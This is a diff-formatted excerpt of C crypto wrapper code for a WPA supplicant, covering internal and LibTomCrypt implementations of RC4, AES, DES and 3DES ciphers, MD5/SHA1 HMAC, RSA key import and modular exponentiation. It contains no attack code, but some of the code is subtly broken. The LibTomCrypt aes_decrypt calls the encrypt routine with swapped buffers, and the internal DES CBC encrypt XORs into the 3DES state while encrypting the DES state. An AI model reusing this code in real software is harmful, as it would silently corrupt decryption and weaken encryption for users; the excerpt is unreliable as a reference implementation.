case CRYPTO_CIPHER_ALG_3DES:
|
||||
if (key_len != 24) {
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
des3_key_setup(key, &ctx->u.des3.key);
|
||||
os_memcpy(ctx->u.des3.cbc, iv, 8);
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_DES:
|
||||
if (key_len != 8) {
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
des_key_setup(key, ctx->u.des.ek, ctx->u.des.dk);
|
||||
os_memcpy(ctx->u.des.cbc, iv, 8);
|
||||
break;
|
||||
default:
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return ctx;
|
||||
}
|
||||
|
||||
|
||||
int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain,
|
||||
u8 *crypt, size_t len)
|
||||
{
|
||||
size_t i, j, blocks;
|
||||
|
||||
switch (ctx->alg) {
|
||||
case CRYPTO_CIPHER_ALG_RC4:
|
||||
if (plain != crypt)
|
||||
os_memcpy(crypt, plain, len);
|
||||
rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen,
|
||||
ctx->u.rc4.used_bytes, crypt, len);
|
||||
ctx->u.rc4.used_bytes += len;
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_AES:
|
||||
if (len % ctx->u.aes.block_size)
|
||||
return -1;
|
||||
blocks = len / ctx->u.aes.block_size;
|
||||
for (i = 0; i < blocks; i++) {
|
||||
for (j = 0; j < ctx->u.aes.block_size; j++)
|
||||
ctx->u.aes.cbc[j] ^= plain[j];
|
||||
aes_encrypt(ctx->u.aes.ctx_enc, ctx->u.aes.cbc,
|
||||
ctx->u.aes.cbc);
|
||||
os_memcpy(crypt, ctx->u.aes.cbc,
|
||||
ctx->u.aes.block_size);
|
||||
plain += ctx->u.aes.block_size;
|
||||
crypt += ctx->u.aes.block_size;
|
||||
}
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_3DES:
|
||||
if (len % 8)
|
||||
return -1;
|
||||
blocks = len / 8;
|
||||
for (i = 0; i < blocks; i++) {
|
||||
for (j = 0; j < 8; j++)
|
||||
ctx->u.des3.cbc[j] ^= plain[j];
|
||||
des3_encrypt(ctx->u.des3.cbc, &ctx->u.des3.key,
|
||||
ctx->u.des3.cbc);
|
||||
os_memcpy(crypt, ctx->u.des3.cbc, 8);
|
||||
plain += 8;
|
||||
crypt += 8;
|
||||
}
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_DES:
|
||||
if (len % 8)
|
||||
return -1;
|
||||
blocks = len / 8;
|
||||
for (i = 0; i < blocks; i++) {
|
||||
for (j = 0; j < 8; j++)
|
||||
ctx->u.des3.cbc[j] ^= plain[j];
|
||||
des_block_encrypt(ctx->u.des.cbc, ctx->u.des.ek,
|
||||
ctx->u.des.cbc);
|
||||
os_memcpy(crypt, ctx->u.des.cbc, 8);
|
||||
plain += 8;
|
||||
crypt += 8;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt,
|
||||
u8 *plain, size_t len)
|
||||
{
|
||||
size_t i, j, blocks;
|
||||
u8 tmp[32];
|
||||
|
||||
switch (ctx->alg) {
|
||||
case CRYPTO_CIPHER_ALG_RC4:
|
||||
if (plain != crypt)
|
||||
os_memcpy(plain, crypt, len);
|
||||
rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen,
|
||||
ctx->u.rc4.used_bytes, plain, len);
|
||||
ctx->u.rc4.used_bytes += len;
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_AES:
|
||||
if (len % ctx->u.aes.block_size)
|
||||
return -1;
|
||||
blocks = len / ctx->u.aes.block_size;
|
||||
for (i = 0; i < blocks; i++) {
|
||||
os_memcpy(tmp, crypt, ctx->u.aes.block_size);
|
||||
aes_decrypt(ctx->u.aes.ctx_dec, crypt, plain);
|
||||
for (j = 0; j < ctx->u.aes.block_size; j++)
|
||||
plain[j] ^= ctx->u.aes.cbc[j];
|
||||
os_memcpy(ctx->u.aes.cbc, tmp, ctx->u.aes.block_size);
|
||||
plain += ctx->u.aes.block_size;
|
||||
crypt += ctx->u.aes.block_size;
|
||||
}
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_3DES:
|
||||
if (len % 8)
|
||||
return -1;
|
||||
blocks = len / 8;
|
||||
for (i = 0; i < blocks; i++) {
|
||||
os_memcpy(tmp, crypt, 8);
|
||||
des3_decrypt(crypt, &ctx->u.des3.key, plain);
|
||||
for (j = 0; j < 8; j++)
|
||||
plain[j] ^= ctx->u.des3.cbc[j];
|
||||
os_memcpy(ctx->u.des3.cbc, tmp, 8);
|
||||
plain += 8;
|
||||
crypt += 8;
|
||||
}
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_DES:
|
||||
if (len % 8)
|
||||
return -1;
|
||||
blocks = len / 8;
|
||||
for (i = 0; i < blocks; i++) {
|
||||
os_memcpy(tmp, crypt, 8);
|
||||
des_block_decrypt(crypt, ctx->u.des.dk, plain);
|
||||
for (j = 0; j < 8; j++)
|
||||
plain[j] ^= ctx->u.des.cbc[j];
|
||||
os_memcpy(ctx->u.des.cbc, tmp, 8);
|
||||
plain += 8;
|
||||
crypt += 8;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void crypto_cipher_deinit(struct crypto_cipher *ctx)
|
||||
{
|
||||
switch (ctx->alg) {
|
||||
case CRYPTO_CIPHER_ALG_AES:
|
||||
aes_encrypt_deinit(ctx->u.aes.ctx_enc);
|
||||
aes_decrypt_deinit(ctx->u.aes.ctx_dec);
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_3DES:
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
os_free(ctx);
|
||||
}
|
|
@ -0,0 +1,55 @@
|
|||
/*
|
||||
* Crypto wrapper for internal crypto implementation - modexp
|
||||
* Copyright (c) 2006-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "tls/bignum.h"
|
||||
#include "crypto.h"
|
||||
|
||||
|
||||
int crypto_mod_exp(const u8 *base, size_t base_len,
|
||||
const u8 *power, size_t power_len,
|
||||
const u8 *modulus, size_t modulus_len,
|
||||
u8 *result, size_t *result_len)
|
||||
{
|
||||
struct bignum *bn_base, *bn_exp, *bn_modulus, *bn_result;
|
||||
int ret = -1;
|
||||
|
||||
bn_base = bignum_init();
|
||||
bn_exp = bignum_init();
|
||||
bn_modulus = bignum_init();
|
||||
bn_result = bignum_init();
|
||||
|
||||
if (bn_base == NULL || bn_exp == NULL || bn_modulus == NULL ||
|
||||
bn_result == NULL)
|
||||
goto error;
|
||||
|
||||
if (bignum_set_unsigned_bin(bn_base, base, base_len) < 0 ||
|
||||
bignum_set_unsigned_bin(bn_exp, power, power_len) < 0 ||
|
||||
bignum_set_unsigned_bin(bn_modulus, modulus, modulus_len) < 0)
|
||||
goto error;
|
||||
|
||||
if (bignum_exptmod(bn_base, bn_exp, bn_modulus, bn_result) < 0)
|
||||
goto error;
|
||||
|
||||
ret = bignum_get_unsigned_bin(bn_result, result, result_len);
|
||||
|
||||
error:
|
||||
bignum_deinit(bn_base);
|
||||
bignum_deinit(bn_exp);
|
||||
bignum_deinit(bn_modulus);
|
||||
bignum_deinit(bn_result);
|
||||
return ret;
|
||||
}
|
|
@ -0,0 +1,115 @@
|
|||
/*
|
||||
* Crypto wrapper for internal crypto implementation - RSA parts
|
||||
* Copyright (c) 2006-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
#include "tls/rsa.h"
|
||||
#include "tls/bignum.h"
|
||||
#include "tls/pkcs1.h"
|
||||
#include "tls/pkcs8.h"
|
||||
|
||||
/* Dummy structures; these are just typecast to struct crypto_rsa_key */
|
||||
struct crypto_public_key;
|
||||
struct crypto_private_key;
|
||||
|
||||
|
||||
struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len)
|
||||
{
|
||||
return (struct crypto_public_key *)
|
||||
crypto_rsa_import_public_key(key, len);
|
||||
}
|
||||
|
||||
|
||||
struct crypto_private_key * crypto_private_key_import(const u8 *key,
|
||||
size_t len,
|
||||
const char *passwd)
|
||||
{
|
||||
struct crypto_private_key *res;
|
||||
|
||||
/* First, check for possible PKCS #8 encoding */
|
||||
res = pkcs8_key_import(key, len);
|
||||
if (res)
|
||||
return res;
|
||||
|
||||
if (passwd) {
|
||||
/* Try to parse as encrypted PKCS #8 */
|
||||
res = pkcs8_enc_key_import(key, len, passwd);
|
||||
if (res)
|
||||
return res;
|
||||
}
|
||||
|
||||
/* Not PKCS#8, so try to import PKCS #1 encoded RSA private key */
|
||||
wpa_printf(MSG_DEBUG, "Trying to parse PKCS #1 encoded RSA private "
|
||||
"key");
|
||||
return (struct crypto_private_key *)
|
||||
crypto_rsa_import_private_key(key, len);
|
||||
}
|
||||
|
||||
|
||||
struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf,
|
||||
size_t len)
|
||||
{
|
||||
/* No X.509 support in crypto_internal.c */
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key,
|
||||
const u8 *in, size_t inlen,
|
||||
u8 *out, size_t *outlen)
|
||||
{
|
||||
return pkcs1_encrypt(2, (struct crypto_rsa_key *) key,
|
||||
0, in, inlen, out, outlen);
|
||||
}
|
||||
|
||||
|
||||
int crypto_private_key_decrypt_pkcs1_v15(struct crypto_private_key *key,
|
||||
const u8 *in, size_t inlen,
|
||||
u8 *out, size_t *outlen)
|
||||
{
|
||||
return pkcs1_v15_private_key_decrypt((struct crypto_rsa_key *) key,
|
||||
in, inlen, out, outlen);
|
||||
}
|
||||
|
||||
|
||||
int crypto_private_key_sign_pkcs1(struct crypto_private_key *key,
|
||||
const u8 *in, size_t inlen,
|
||||
u8 *out, size_t *outlen)
|
||||
{
|
||||
return pkcs1_encrypt(1, (struct crypto_rsa_key *) key,
|
||||
1, in, inlen, out, outlen);
|
||||
}
|
||||
|
||||
|
||||
void crypto_public_key_free(struct crypto_public_key *key)
|
||||
{
|
||||
crypto_rsa_free((struct crypto_rsa_key *) key);
|
||||
}
|
||||
|
||||
|
||||
void crypto_private_key_free(struct crypto_private_key *key)
|
||||
{
|
||||
crypto_rsa_free((struct crypto_rsa_key *) key);
|
||||
}
|
||||
|
||||
|
||||
int crypto_public_key_decrypt_pkcs1(struct crypto_public_key *key,
|
||||
const u8 *crypt, size_t crypt_len,
|
||||
u8 *plain, size_t *plain_len)
|
||||
{
|
||||
return pkcs1_decrypt_public_key((struct crypto_rsa_key *) key,
|
||||
crypt, crypt_len, plain, plain_len);
|
||||
}
|
|
@ -0,0 +1,205 @@
|
|||
/*
|
||||
* Crypto wrapper for internal crypto implementation
|
||||
* Copyright (c) 2006-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
#include "sha1_i.h"
|
||||
#include "md5_i.h"
|
||||
|
||||
struct crypto_hash {
|
||||
enum crypto_hash_alg alg;
|
||||
union {
|
||||
struct MD5Context md5;
|
||||
struct SHA1Context sha1;
|
||||
} u;
|
||||
u8 key[64];
|
||||
size_t key_len;
|
||||
};
|
||||
|
||||
|
||||
struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key,
|
||||
size_t key_len)
|
||||
{
|
||||
struct crypto_hash *ctx;
|
||||
u8 k_pad[64];
|
||||
u8 tk[20];
|
||||
size_t i;
|
||||
|
||||
ctx = os_zalloc(sizeof(*ctx));
|
||||
if (ctx == NULL)
|
||||
return NULL;
|
||||
|
||||
ctx->alg = alg;
|
||||
|
||||
switch (alg) {
|
||||
case CRYPTO_HASH_ALG_MD5:
|
||||
MD5Init(&ctx->u.md5);
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_SHA1:
|
||||
SHA1Init(&ctx->u.sha1);
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_HMAC_MD5:
|
||||
if (key_len > sizeof(k_pad)) {
|
||||
MD5Init(&ctx->u.md5);
|
||||
MD5Update(&ctx->u.md5, key, key_len);
|
||||
MD5Final(tk, &ctx->u.md5);
|
||||
key = tk;
|
||||
key_len = 16;
|
||||
}
|
||||
os_memcpy(ctx->key, key, key_len);
|
||||
ctx->key_len = key_len;
|
||||
|
||||
os_memcpy(k_pad, key, key_len);
|
||||
os_memset(k_pad + key_len, 0, sizeof(k_pad) - key_len);
|
||||
for (i = 0; i < sizeof(k_pad); i++)
|
||||
k_pad[i] ^= 0x36;
|
||||
MD5Init(&ctx->u.md5);
|
||||
MD5Update(&ctx->u.md5, k_pad, sizeof(k_pad));
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_HMAC_SHA1:
|
||||
if (key_len > sizeof(k_pad)) {
|
||||
SHA1Init(&ctx->u.sha1);
|
||||
SHA1Update(&ctx->u.sha1, key, key_len);
|
||||
SHA1Final(tk, &ctx->u.sha1);
|
||||
key = tk;
|
||||
key_len = 20;
|
||||
}
|
||||
os_memcpy(ctx->key, key, key_len);
|
||||
ctx->key_len = key_len;
|
||||
|
||||
os_memcpy(k_pad, key, key_len);
|
||||
os_memset(k_pad + key_len, 0, sizeof(k_pad) - key_len);
|
||||
for (i = 0; i < sizeof(k_pad); i++)
|
||||
k_pad[i] ^= 0x36;
|
||||
SHA1Init(&ctx->u.sha1);
|
||||
SHA1Update(&ctx->u.sha1, k_pad, sizeof(k_pad));
|
||||
break;
|
||||
default:
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return ctx;
|
||||
}
|
||||
|
||||
|
||||
void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len)
|
||||
{
|
||||
if (ctx == NULL)
|
||||
return;
|
||||
|
||||
switch (ctx->alg) {
|
||||
case CRYPTO_HASH_ALG_MD5:
|
||||
case CRYPTO_HASH_ALG_HMAC_MD5:
|
||||
MD5Update(&ctx->u.md5, data, len);
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_SHA1:
|
||||
case CRYPTO_HASH_ALG_HMAC_SHA1:
|
||||
SHA1Update(&ctx->u.sha1, data, len);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len)
|
||||
{
|
||||
u8 k_pad[64];
|
||||
size_t i;
|
||||
|
||||
if (ctx == NULL)
|
||||
return -2;
|
||||
|
||||
if (mac == NULL || len == NULL) {
|
||||
os_free(ctx);
|
||||
return 0;
|
||||
}
|
||||
|
||||
switch (ctx->alg) {
|
||||
case CRYPTO_HASH_ALG_MD5:
|
||||
if (*len < 16) {
|
||||
*len = 16;
|
||||
os_free(ctx);
|
||||
return -1;
|
||||
}
|
||||
*len = 16;
|
||||
MD5Final(mac, &ctx->u.md5);
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_SHA1:
|
||||
if (*len < 20) {
|
||||
*len = 20;
|
||||
os_free(ctx);
|
||||
return -1;
|
||||
}
|
||||
*len = 20;
|
||||
SHA1Final(mac, &ctx->u.sha1);
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_HMAC_MD5:
|
||||
if (*len < 16) {
|
||||
*len = 16;
|
||||
os_free(ctx);
|
||||
return -1;
|
||||
}
|
||||
*len = 16;
|
||||
|
||||
MD5Final(mac, &ctx->u.md5);
|
||||
|
||||
os_memcpy(k_pad, ctx->key, ctx->key_len);
|
||||
os_memset(k_pad + ctx->key_len, 0,
|
||||
sizeof(k_pad) - ctx->key_len);
|
||||
for (i = 0; i < sizeof(k_pad); i++)
|
||||
k_pad[i] ^= 0x5c;
|
||||
MD5Init(&ctx->u.md5);
|
||||
MD5Update(&ctx->u.md5, k_pad, sizeof(k_pad));
|
||||
MD5Update(&ctx->u.md5, mac, 16);
|
||||
MD5Final(mac, &ctx->u.md5);
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_HMAC_SHA1:
|
||||
if (*len < 20) {
|
||||
*len = 20;
|
||||
os_free(ctx);
|
||||
return -1;
|
||||
}
|
||||
*len = 20;
|
||||
|
||||
SHA1Final(mac, &ctx->u.sha1);
|
||||
|
||||
os_memcpy(k_pad, ctx->key, ctx->key_len);
|
||||
os_memset(k_pad + ctx->key_len, 0,
|
||||
sizeof(k_pad) - ctx->key_len);
|
||||
for (i = 0; i < sizeof(k_pad); i++)
|
||||
k_pad[i] ^= 0x5c;
|
||||
SHA1Init(&ctx->u.sha1);
|
||||
SHA1Update(&ctx->u.sha1, k_pad, sizeof(k_pad));
|
||||
SHA1Update(&ctx->u.sha1, mac, 20);
|
||||
SHA1Final(mac, &ctx->u.sha1);
|
||||
break;
|
||||
}
|
||||
|
||||
os_free(ctx);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int crypto_global_init(void)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void crypto_global_deinit(void)
|
||||
{
|
||||
}
|
|
@ -0,0 +1,732 @@
|
|||
/*
|
||||
* WPA Supplicant / Crypto wrapper for LibTomCrypt (for internal TLSv1)
|
||||
* Copyright (c) 2005-2006, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
#include <tomcrypt.h>
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
|
||||
#ifndef mp_init_multi
|
||||
#define mp_init_multi ltc_init_multi
|
||||
#define mp_clear_multi ltc_deinit_multi
|
||||
#define mp_unsigned_bin_size(a) ltc_mp.unsigned_size(a)
|
||||
#define mp_to_unsigned_bin(a, b) ltc_mp.unsigned_write(a, b)
|
||||
#define mp_read_unsigned_bin(a, b, c) ltc_mp.unsigned_read(a, b, c)
|
||||
#define mp_exptmod(a,b,c,d) ltc_mp.exptmod(a,b,c,d)
|
||||
#endif
|
||||
|
||||
|
||||
int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
hash_state md;
|
||||
size_t i;
|
||||
|
||||
md4_init(&md);
|
||||
for (i = 0; i < num_elem; i++)
|
||||
md4_process(&md, addr[i], len[i]);
|
||||
md4_done(&md, mac);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher)
|
||||
{
|
||||
u8 pkey[8], next, tmp;
|
||||
int i;
|
||||
symmetric_key skey;
|
||||
|
||||
/* Add parity bits to the key */
|
||||
next = 0;
|
||||
for (i = 0; i < 7; i++) {
|
||||
tmp = key[i];
|
||||
pkey[i] = (tmp >> i) | next | 1;
|
||||
next = tmp << (7 - i);
|
||||
}
|
||||
pkey[i] = next | 1;
|
||||
|
||||
des_setup(pkey, 8, 0, &skey);
|
||||
des_ecb_encrypt(clear, cypher, &skey);
|
||||
des_done(&skey);
|
||||
}
|
||||
|
||||
|
||||
int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
hash_state md;
|
||||
size_t i;
|
||||
|
||||
md5_init(&md);
|
||||
for (i = 0; i < num_elem; i++)
|
||||
md5_process(&md, addr[i], len[i]);
|
||||
md5_done(&md, mac);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
hash_state md;
|
||||
size_t i;
|
||||
|
||||
sha1_init(&md);
|
||||
for (i = 0; i < num_elem; i++)
|
||||
sha1_process(&md, addr[i], len[i]);
|
||||
sha1_done(&md, mac);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void * aes_encrypt_init(const u8 *key, size_t len)
|
||||
{
|
||||
symmetric_key *skey;
|
||||
skey = os_malloc(sizeof(*skey));
|
||||
if (skey == NULL)
|
||||
return NULL;
|
||||
if (aes_setup(key, len, 0, skey) != CRYPT_OK) {
|
||||
os_free(skey);
|
||||
return NULL;
|
||||
}
|
||||
return skey;
|
||||
}
|
||||
|
||||
|
||||
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt)
|
||||
{
|
||||
symmetric_key *skey = ctx;
|
||||
aes_ecb_encrypt(plain, crypt, skey);
|
||||
}
|
||||
|
||||
|
||||
void aes_encrypt_deinit(void *ctx)
|
||||
{
|
||||
symmetric_key *skey = ctx;
|
||||
aes_done(skey);
|
||||
os_free(skey);
|
||||
}
|
||||
|
||||
|
||||
void * aes_decrypt_init(const u8 *key, size_t len)
|
||||
{
|
||||
symmetric_key *skey;
|
||||
skey = os_malloc(sizeof(*skey));
|
||||
if (skey == NULL)
|
||||
return NULL;
|
||||
if (aes_setup(key, len, 0, skey) != CRYPT_OK) {
|
||||
os_free(skey);
|
||||
return NULL;
|
||||
}
|
||||
return skey;
|
||||
}
|
||||
|
||||
|
||||
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain)
|
||||
{
|
||||
symmetric_key *skey = ctx;
|
||||
aes_ecb_encrypt(plain, (u8 *) crypt, skey);
|
||||
}
|
||||
|
||||
|
||||
void aes_decrypt_deinit(void *ctx)
|
||||
{
|
||||
symmetric_key *skey = ctx;
|
||||
aes_done(skey);
|
||||
os_free(skey);
|
||||
}
|
||||
|
||||
|
||||
struct crypto_hash {
|
||||
enum crypto_hash_alg alg;
|
||||
int error;
|
||||
union {
|
||||
hash_state md;
|
||||
hmac_state hmac;
|
||||
} u;
|
||||
};
|
||||
|
||||
|
||||
struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key,
|
||||
size_t key_len)
|
||||
{
|
||||
struct crypto_hash *ctx;
|
||||
|
||||
ctx = os_zalloc(sizeof(*ctx));
|
||||
if (ctx == NULL)
|
||||
return NULL;
|
||||
|
||||
ctx->alg = alg;
|
||||
|
||||
switch (alg) {
|
||||
case CRYPTO_HASH_ALG_MD5:
|
||||
if (md5_init(&ctx->u.md) != CRYPT_OK)
|
||||
goto fail;
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_SHA1:
|
||||
if (sha1_init(&ctx->u.md) != CRYPT_OK)
|
||||
goto fail;
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_HMAC_MD5:
|
||||
if (hmac_init(&ctx->u.hmac, find_hash("md5"), key, key_len) !=
|
||||
CRYPT_OK)
|
||||
goto fail;
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_HMAC_SHA1:
|
||||
if (hmac_init(&ctx->u.hmac, find_hash("sha1"), key, key_len) !=
|
||||
CRYPT_OK)
|
||||
goto fail;
|
||||
break;
|
||||
default:
|
||||
goto fail;
|
||||
}
|
||||
|
||||
return ctx;
|
||||
|
||||
fail:
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len)
|
||||
{
|
||||
if (ctx == NULL || ctx->error)
|
||||
return;
|
||||
|
||||
switch (ctx->alg) {
|
||||
case CRYPTO_HASH_ALG_MD5:
|
||||
ctx->error = md5_process(&ctx->u.md, data, len) != CRYPT_OK;
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_SHA1:
|
||||
ctx->error = sha1_process(&ctx->u.md, data, len) != CRYPT_OK;
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_HMAC_MD5:
|
||||
case CRYPTO_HASH_ALG_HMAC_SHA1:
|
||||
ctx->error = hmac_process(&ctx->u.hmac, data, len) != CRYPT_OK;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len)
|
||||
{
|
||||
int ret = 0;
|
||||
unsigned long clen;
|
||||
|
||||
if (ctx == NULL)
|
||||
return -2;
|
||||
|
||||
if (mac == NULL || len == NULL) {
|
||||
os_free(ctx);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (ctx->error) {
|
||||
os_free(ctx);
|
||||
return -2;
|
||||
}
|
||||
|
||||
switch (ctx->alg) {
|
||||
case CRYPTO_HASH_ALG_MD5:
|
||||
if (*len < 16) {
|
||||
*len = 16;
|
||||
os_free(ctx);
|
||||
return -1;
|
||||
}
|
||||
*len = 16;
|
||||
if (md5_done(&ctx->u.md, mac) != CRYPT_OK)
|
||||
ret = -2;
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_SHA1:
|
||||
if (*len < 20) {
|
||||
*len = 20;
|
||||
os_free(ctx);
|
||||
return -1;
|
||||
}
|
||||
*len = 20;
|
||||
if (sha1_done(&ctx->u.md, mac) != CRYPT_OK)
|
||||
ret = -2;
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_HMAC_SHA1:
|
||||
if (*len < 20) {
|
||||
*len = 20;
|
||||
os_free(ctx);
|
||||
return -1;
|
||||
}
|
||||
/* continue */
|
||||
case CRYPTO_HASH_ALG_HMAC_MD5:
|
||||
if (*len < 16) {
|
||||
*len = 16;
|
||||
os_free(ctx);
|
||||
return -1;
|
||||
}
|
||||
clen = *len;
|
||||
if (hmac_done(&ctx->u.hmac, mac, &clen) != CRYPT_OK) {
|
||||
os_free(ctx);
|
||||
return -1;
|
||||
}
|
||||
*len = clen;
|
||||
break;
|
||||
default:
|
||||
ret = -2;
|
||||
break;
|
||||
}
|
||||
|
||||
os_free(ctx);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
struct crypto_cipher {
|
||||
int rc4;
|
||||
union {
|
||||
symmetric_CBC cbc;
|
||||
struct {
|
||||
size_t used_bytes;
|
||||
u8 key[16];
|
||||
size_t keylen;
|
||||
} rc4;
|
||||
} u;
|
||||
};
|
||||
|
||||
|
||||
struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg,
|
||||
const u8 *iv, const u8 *key,
|
||||
size_t key_len)
|
||||
{
|
||||
struct crypto_cipher *ctx;
|
||||
int idx, res, rc4 = 0;
|
||||
|
||||
switch (alg) {
|
||||
case CRYPTO_CIPHER_ALG_AES:
|
||||
idx = find_cipher("aes");
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_3DES:
|
||||
idx = find_cipher("3des");
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_DES:
|
||||
idx = find_cipher("des");
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_RC2:
|
||||
idx = find_cipher("rc2");
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_RC4:
|
||||
idx = -1;
|
||||
rc4 = 1;
|
||||
break;
|
||||
default:
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ctx = os_zalloc(sizeof(*ctx));
|
||||
if (ctx == NULL)
|
||||
return NULL;
|
||||
|
||||
if (rc4) {
|
||||
ctx->rc4 = 1;
|
||||
if (key_len > sizeof(ctx->u.rc4.key)) {
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
ctx->u.rc4.keylen = key_len;
|
||||
os_memcpy(ctx->u.rc4.key, key, key_len);
|
||||
} else {
|
||||
res = cbc_start(idx, iv, key, key_len, 0, &ctx->u.cbc);
|
||||
if (res != CRYPT_OK) {
|
||||
wpa_printf(MSG_DEBUG, "LibTomCrypt: Cipher start "
|
||||
"failed: %s", error_to_string(res));
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
return ctx;
|
||||
}
|
||||
|
||||
int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain,
|
||||
u8 *crypt, size_t len)
|
||||
{
|
||||
int res;
|
||||
|
||||
if (ctx->rc4) {
|
||||
if (plain != crypt)
|
||||
os_memcpy(crypt, plain, len);
|
||||
rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen,
|
||||
ctx->u.rc4.used_bytes, crypt, len);
|
||||
ctx->u.rc4.used_bytes += len;
|
||||
return 0;
|
||||
}
|
||||
|
||||
res = cbc_encrypt(plain, crypt, len, &ctx->u.cbc);
|
||||
if (res != CRYPT_OK) {
|
||||
wpa_printf(MSG_DEBUG, "LibTomCrypt: CBC encryption "
|
||||
"failed: %s", error_to_string(res));
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
